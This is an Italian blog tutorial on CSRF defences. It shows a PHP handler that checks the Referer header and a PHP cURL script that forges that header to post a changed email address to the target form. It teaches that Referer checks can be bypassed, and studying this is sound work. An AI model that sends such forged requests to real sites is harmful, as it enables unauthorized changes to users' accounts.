Dopo il primo articolo in cui veniva presentata un sistema di controllo in Javascript facilmente bypassabile da uno script creato ad hoc, nel presente articolo vedremo come sia possibile implementare un controllo basato sui referral e come sia anch’esso disutile.Il codice presentato si basa sempre sul form presente nel primo articolo sul CSRF, in particolare il codice che avevamo realizzato alla fine dell’articolo potrebbe essere banalmente reso invalido se nella pagina invia_form.php la cambiassimo cosi’:
<?php
if ($_SERVER[‘HTTP_REFERER’] != “http://www.freescriptphp.com/form.php”)
die(“Preso!”);
$email = addslashes($_POST[‘email’]);
if(!(filter_var($email, FILTER_VALIDATE_EMAIL)))
echo(“Indirizzo mail non valido”);
else
echo(“Nuovo indirizzo mail registrato: “.$email); // Evitiamo il salvataggio nel DB che sarebbe in questa sezione…
?>
A questo punto il cattivo di turno numero 1 non riuscirebbe a portare a termine il suo attacco perche’ verrebbe stroncato sul nascere visto che il referral gioca a suo sfavore.
Potrebbe pero’ rendersi conto dello stratagemma posto in essere e contrattaccare a suo volta con un codice analogo al seguente:
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=utf-8″ />
<title>BITuBIT – CSRF: esempio 2</title>
</head>
<body>
<form method=”post” name=”modulo”>
<input type=”hidden” value=”2″ name=”esempio2″ />
<input type=”submit” value=”Attiva cattivo 2″ />
</form>
<?php
if ( (isset($_POST[‘esempio2’])) AND (strlen($_POST[‘esempio2’])>0) )
{
$url = ‘http://www.freescriptphp.com/invia_form.php’;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_REFERER, ‘http://www.freescriptphp.com/form.php’);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(‘multipart/form-data’));
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, array(‘email’ => ‘info@freescriptphp.com’));
$risultato = curl_exec($ch);
curl_close($ch);
}
?>
</BODY>
</html>
In questo caso la contromisura intrapresa ha effetto nulla ed il cattivo ha di nuovo la meglio 🙁
Nel prossimo articolo vedremo come alcuni “esperti” di sicurezza pensano di porre rimedio a questa tipologia di attacchi inserendo un token in ogni modulo e, ahime’, gli mostreremo come anch’essi si sbagliano!